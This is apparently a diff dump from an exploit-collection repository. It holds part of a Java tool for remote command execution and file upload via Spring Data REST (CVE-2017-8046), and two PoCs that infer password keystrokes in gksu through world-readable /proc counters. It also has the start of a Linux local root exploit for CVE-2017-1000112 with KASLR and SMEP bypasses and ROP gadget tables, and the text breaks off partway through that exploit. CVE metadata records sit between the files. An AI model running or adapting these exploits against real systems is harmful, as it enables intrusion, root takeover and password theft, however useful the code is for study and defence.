if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
System.out.println(cleanedResponse);
} else {
System.out.println(response);
}
System.out.println("[*] ^^^ ======== ^^^");
}
}
/**
* Checks if an input string is null/empty or not.
*
* @param input
* The input string to check.
* @return True if the string is null or empty, false otherwise.
*/
private boolean isEmpty(String input) {
boolean isEmpty;
if (input == null || input.trim().length() < 1) {
isEmpty = true;
} else {
isEmpty = false;
}
return isEmpty;
}
/* Getters and setters. */
public boolean isVerbose() {
return verbose;
}
public void setVerbose(boolean verbose) {
this.verbose = verbose;
}
public void setUrl(String url) throws URISyntaxException {
if (isEmpty(url)) {
throw new IllegalArgumentException("URL must be not null and not empty.");
}
this.url = new URI(url.trim());
}
public void setCommand(String command) {
if (isEmpty(command)) {
throw new IllegalArgumentException("Command must be not null and not empty.");
}
this.command = command.trim();
}
public void setCookies(String cookies) {
if (cookies != null) {
cookies = cookies.trim();
}
this.cookies = cookies;
}
public void setSkipSSL(boolean skipSSL){
this.skipSSL = skipSSL;
}
public void setCustomHeader(String customHeader) {
if (customHeader != null && customHeader.contains(":") && !customHeader.startsWith(":") && !customHeader.endsWith(":")) {
customHeader = customHeader.trim();
this.customHeaders.add(customHeader);
}
}
public boolean isCleanResponse() {
return cleanResponse;
}
public void setCleanResponse(boolean cleanResponse) {
this.cleanResponse = cleanResponse;
}
public boolean isErrorStream() {
return errorStream;
}
public void setErrorStream(boolean errorStream) {
this.errorStream = errorStream;
}
public void setLocalFileToUpload(String localFileToUpload) {
if (isEmpty(localFileToUpload)) {
throw new IllegalArgumentException("Filename must not be null and not empty.");
}
File upload = new File(localFileToUpload);
if (!upload.exists() || !upload.isFile() || !upload.canRead()) {
throw new IllegalArgumentException("File to upload does not exist or is not readable: " + upload.getAbsolutePath());
}
this.localFileToUpload = upload;
}
public void setRemoteUploadDirectory(String remoteUploadDirectory) {
if (!remoteUploadDirectory.endsWith("/")) {
remoteUploadDirectory += "/";
}
this.remoteUploadDirectory = remoteUploadDirectory;
}
/**
* Shows the program help.
*/
public static final void help() {
System.out.println("Usage:");
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
System.out.println("Description:");
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
System.out.println("Options:");
System.out.println(" -h, --help");
System.out.println(" Prints this help and exits.");
System.out.println(" -u, --url [target_URL]");
System.out.println(" The target URL where the exploit will be performed.");
System.out.println(" You have to choose an existent resource.");
System.out.println(" -cmd, --command [command_to_execute]");
System.out.println(" The command that will be executed on the remote machine.");
System.out.println(" -U, --upload [file_to_upload]");
System.out.println(" File to upload to the remote machine. Will be uploaded to the current working");
System.out.println(" directory of the Java process. Warning: this will only succeed on a server running");
System.out.println(" JRE-1.7 or later.");
System.out.println(" --remote-upload-directory [/some/existing/path/]");
System.out.println(" Optional. Server will attempt to write the uploaded file to this directory on the");
System.out.println(" filesystem. Specified directory must exist and be writeable.");
System.out.println(" --cookies [cookies]");
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
System.out.println(" -H, --header [custom_header]");
System.out.println(" Optional. Custom header passed into the request, e.g. authorization header.");
System.out.println(" -k");
System.out.println(" Skip SSL validation");
System.out.println(" --clean");
System.out.println(" Optional. Removes error messages in output due to the usage of the");
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
System.out.println(" --error-stream");
System.out.println(" Optional. In case of errors the command will fail and the error stream will");
System.out.println(" not be returned. This option can be used to relaunch the remote command");
System.out.println(" returning the error stream.");
System.out.println(" -v, --verbose");
System.out.println(" Optional. Increase verbosity.");
}
/**
* Main method.
*
* @param args
* Input arguments
*/
public static void main(String[] args) {
try {
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
SpringBreakCve20178046 o = new SpringBreakCve20178046();
if (args.length > 0) {
for (int i = 0; i < args.length; i++) {
String p = args[i];
if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
SpringBreakCve20178046.help();
return;
} else if ("-u".equals(p) || "--url".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("URL must be passed.");
}
o.setUrl(args[++i]);
} else if ("-U".equals(p) || "--upload".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("File must be passed, if specified.");
}
o.setLocalFileToUpload(args[++i].trim());
} else if ("--remote-upload-directory".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Remote directory must be passed, if specified.");
}
o.setRemoteUploadDirectory(args[++i].trim());
} else if ("-cmd".equals(p) || "--command".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Command must be passed.");
}
o.setCommand(args[++i]);
} else if ("--cookies".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Cookies must be passed, if specified.");
}
o.setCookies(args[++i]);
} else if ("-k".equals(p)) {
o.setSkipSSL(true);
} else if ("-H".equals(p) || "--header".equals(p)) {
if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Custom header must be passed, if specified.");
}
o.setCustomHeader(args[++i]);
} else if ("--clean".equals(p)) {
o.setCleanResponse(true);
} else if ("--error-stream".equals(p)) {
o.setErrorStream(true);
} else if ("-v".equals(p) || "--verbose".equals(p)) {
o.setVerbose(true);
}
}
// Performing the exploit.
o.exploit();
} else { // Wrong number of arguments.
SpringBreakCve20178046.help();
return;
}
} catch (URISyntaxException use) {
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
} catch (IllegalArgumentException iae) {
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
} catch (Exception e) {
System.out.println("[!] Unexpected exception: " + e.getMessage());
e.printStackTrace();
}
}
}

View File

@ -0,0 +1,68 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.afs.exploit</groupId>
<artifactId>spring-break_cve-2017-8046</artifactId>
<version>1.3</version>
<name>spring-break_cve-2017-8046</name>
<description>This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).</description>
<properties>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<build>
<sourceDirectory>src/main/java</sourceDirectory>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source/>
<target/>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
<configuration>
<archive>
<manifest>
<mainClass>com.afs.exploit.spring.SpringBreakCve20178046</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.5</version>
</dependency>
<!--
This dependency is used for file-handling (uploads). But it's a tradeoff. The options are:
a) write long and non-elegant filehandling-code manually without libraries and basic java-features
b) write readable code, no library, but sacrifice compatibility by using Java-1.7+ file-handling features
c) write short code, use this library and be Java-1.5+ compatible.
Option C was chosen:
-->
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
</dependencies>
<url>https://github.com/m3ssap0/spring-break_cve-2017-8046</url>
</project>

View File

@ -0,0 +1,21 @@
id: CVE-2017-8046
source:
https://github.com/m3ssap0/spring-break_cve-2017-8046
info:
name: Spring框架是 Java 平台的一个开源的全栈full-stack应用程序框架和控制反转容器实现一般被直接称为 Spring。
severity: high
description: |
在2.5.12、2.6.7、3.0 RC3之前的Pivotal spring data rest版本、2.0.0M4之前的spring Boot版本以及Kay-RC3之前的spring data发布序列中提交给spring data rest服务器的恶意PATCH请求可以使用特制的JSON数据来运行任意Java代码。
scope-of-influence:
Pivotal spring data rest 2.5.x (<2.5.12)
spring Boot 2.0.x (<2.0.0)
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-8046
cwe-id: CWE-20
cnvd-id: None
kve-id: None
tags: cve2017, spring-framework

View File

@ -0,0 +1,57 @@
#!/bin/bash
#
# A PoC for spying for keystrokes in gksu in Linux <= 3.1.
#
# /proc/$PID/{sched,schedstat} are world readable, so we can just loop
# on one CPU core while the victim is executed on another, and spy for
# the changes of scheduling counters. The PoC counts only keystrokes number,
# but it can be easily extended to note the delays between the keystrokes
# and do the statistical analysis to learn the input characters. See
# e.g. "Peeping Tom in the Neighborhood: Keystroke Eavesdropping on
# Multi-User Systems" by Kehuan Zhang and XiaoFeng Wang.
#
# It is NOT stable, it only shows a design flaw (the lack of proper
# permission model of procfs debugging counters). The constants are true
# for the author's system only and don't take into account other sources of
# gksu CPU activity.
#
# by segoon from openwall
#
# run as: spy-sched gksu
PNAME="$1"
while :; do
PID=`pgrep "$PNAME"`
if [ -n "$PID" ]; then
echo $PID
cd /proc/$PID/
break
fi
sleep 1
done
S=0.0
while :; do
V=`grep se.exec_start sched 2>/dev/null | cut -d: -f2-`
[ -z "$V" ] && break
if [ "$V" != "$S" ]; then
VAL=`echo "$V - $S" | bc -l`
VALI=`echo $VAL | cut -d. -f1`
[ -z "$VALI" ] && VALI=0
if [ "$VALI" -le 815 -a "$VALI" -ge 785 ]; then
# Cursor appeared
:
elif [ $VALI -le 415 -a $VALI -ge 385 ]; then
# Cursor disappeared
:
elif [ $VALI -ge 150 ]; then
echo "$VAL (KEY PRESSED)"
else
echo "$VAL"
fi
S=$V
fi
done

View File

@ -0,0 +1,14 @@
A PoC for spying for keystrokes in gksu in Linux <= 3.1.
/proc/$PID/{sched,schedstat} are world readable, so we can just loop
on one CPU core while the victim is executed on another, and spy for
the changes of scheduling counters. The PoC counts only keystrokes number,
but it can be easily extended to note the delays between the keystrokes
and do the statistical analysis to learn the input characters. See
e.g. "Peeping Tom in the Neighborhood: Keystroke Eavesdropping on
Multi-User Systems" by Kehuan Zhang and XiaoFeng Wang.
It is NOT stable, it only shows a design flaw (the lack of proper
permission model of procfs debugging counters). The constants are true
for the author's system only and don't take into account other sources of
gksu CPU activity.

View File

@ -0,0 +1,178 @@
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <string.h>
int i8042_number;
int ints[1024], ints_prev[1024], ints_delta[1024];
char buffer[1024];
int reread_ints(int *interrupts, int int_count, char **names)
{
int i;
int n, c1, c2;
char s1[1024], s2[1024];
int interrupts_fd;
FILE *interrupts_file;
interrupts_fd = open("/proc/interrupts", O_RDONLY);
if (interrupts_fd == -1)
err(1, "open(\"/proc/interrupts\")");
interrupts_file = fdopen(interrupts_fd, "r");
if (interrupts_file == NULL)
err(1, "fdopen");
if (fseek(interrupts_file, 0, SEEK_SET) < 0)
err(1, "lseek");
fgets(buffer, sizeof(buffer), interrupts_file);
for (i = 0; i < int_count; i++) {
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
fclose(interrupts_file);
return i;
}
if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
fclose(interrupts_file);
return i;
}
if (names != NULL && names[i] == NULL)
names[i] = strdup(s2);
interrupts[i] = c1 + c2;
}
fclose(interrupts_file);
return int_count;
}
void init_i8042_number(void)
{
int i;
int can_be_keyboard[1024];
char *names[1024];
int number_of_interrups, can_be_keyboard_numbers;
number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);
/*
* Identify the i8042 interrupt associated with the keyboard by:
* 1) name should be i8042
* 2) interrupts count emitted in one second shouldn't be more than 100
*/
for (i = 0; i < number_of_interrups; i++)
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;
while (1) {
sleep(1);
reread_ints(ints, sizeof(ints), NULL);
can_be_keyboard_numbers = 0;
for (i = 0; i < number_of_interrups; i++) {
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
if (can_be_keyboard[i])
can_be_keyboard_numbers++;
ints_prev[i] = ints[i];
}
if (can_be_keyboard_numbers == 1) {
for (i = 0; i < number_of_interrups; i++)
if (can_be_keyboard[i]) {
i8042_number = i;
printf("i8042 keyboard is #%d\n", i);
return;
}
}
}
}
int i8042_read(void)
{
reread_ints(ints, sizeof(ints), NULL);
ints_prev[i8042_number] = ints[i8042_number];
return ints[i8042_number];
}
int wait_for_program(char *pname)
{
FILE *f;
int pid;
char s[1024];
snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
" sleep 0.1; done", pname);
system(s);
snprintf(s, sizeof(s), "pgrep %s", pname);
f = popen(s, "r");
if (f == NULL)
err(1, "popen");
if (fgets(buffer, sizeof(buffer), f) == NULL)
err(1, "fgets");
if (sscanf(buffer, "%d", &pid) < 1)
err(1, "sscanf");
pclose(f);
return pid;
}
int main(int argc, char *argv[])
{
int n, old, sum, i;
int pid;
char *pname = argv[1];
if (argc < 2)
errx(1, "usage: spy-interrupts gksu");
puts("Waiting for mouse activity...");
init_i8042_number();
pid = wait_for_program(pname);
printf("%s is %d\n", pname, pid);
old = i8042_read();
sum = 0;
while (1) {
n = i8042_read();
if (old == n)
usleep(10000);
else {
for (i = 0; i < n-old; i++)
putchar('.');
fflush(stdout);
}
sum += n - old;
old = n;
if (kill(pid, 0) < 0 && errno == ESRCH)
break;
}
/*
* #interrupts == 2 * #keystrokes.
* #keystrokes = len(password) - 1 because of ENTER after the password.
*/
printf("\n%d keystrokes\n", (sum-2)/2);
return 0;
}

View File

@ -0,0 +1,14 @@
A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
In the Linux kernel through 3.1 there is an information disclosure issue via /proc/stat.
The file /proc/interrupts is world readable. It contains information about how many interrupts were emitted since the system boot. We may loop on one CPU core while the victim is executed on another, and learn the length of victim's passord via monitoring emitted interrupts' counters of the keyboard interrupt. The PoC counts only keystrokes number, but it can be easily extended to note the delays between the keystrokes and do the statistical analysis to learn the precise input characters.
The limitations:
- it works on 2-core CPUs only.
- it works on 1-keyboard systems only.
- it doesn't carefully count the first and last keystrokes (e.g. ENTER after the password input).
- it doesn't carefully filter keystrokes after ENTER.
run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
P.S. The harm of 0444 /proc/interrupts is known for a long time, but I was told about this specific attack vector by Tavis Ormandy just after similar PoC spy-sched was published.

View File

@ -0,0 +1,18 @@
id: CVE-2011-4916
source: https://www.openwall.com/lists/oss-security/2011/11/05/3
info:
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
severity: medium
description: Linux内核3.1版允许本地用户通过访问/dev/pts/和/dev/tty*来获取敏感的击键信息。
scope-of-influence:
Linux kernel <= 3.1
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2011-4916
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.5
cve-id: CVE-2011-4916
cwe-id: CWE-200
cnvd-id: None
kve-id: None
tags: information disclosure

View File

@ -0,0 +1,18 @@
id: CVE-2011-4917
source: https://www.openwall.com/lists/oss-security/2011/11/07/9
info:
name: Linux内核是一个自由和开源的、单片的、模块化的、多任务的、类似Unix的操作系统内核。它最初是由Linus Torvalds在1991年为他的基于i386的PC编写的它很快就被采纳为GNU操作系统的内核GNU被写成一个自由liber的Unix替代品。
severity: medium
description: 在3.1版本的Linux内核中存在一个通过/proc/stat的信息泄露问题。
scope-of-influence:
Linux kernel <= 3.1
reference:
- https://nvd.nist.gov/vuln/detail/cve-2011-4917
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.5
cve-id: CVE-2011-4917
cwe-id: CWE-200
cnvd-id: None
kve-id: None
tags: information disclosure

View File

@ -0,0 +1,5 @@
CVE-2017-1000112
================
This is a proof-of-concept Local Privelege Escalation exploit for [CVE-2017-1000112](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000112) — a memory corruption vulnerability I found in the UDP Fragmentation Offload feature of the Linux kernel IP sockets.
See the details in [CVE-2017-1000112: Exploiting an out-of-bounds bug in the Linux kernel UFO packets](https://xairy.io/articles/2017/cve-2017-1000112).

View File

@ -0,0 +1,668 @@
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
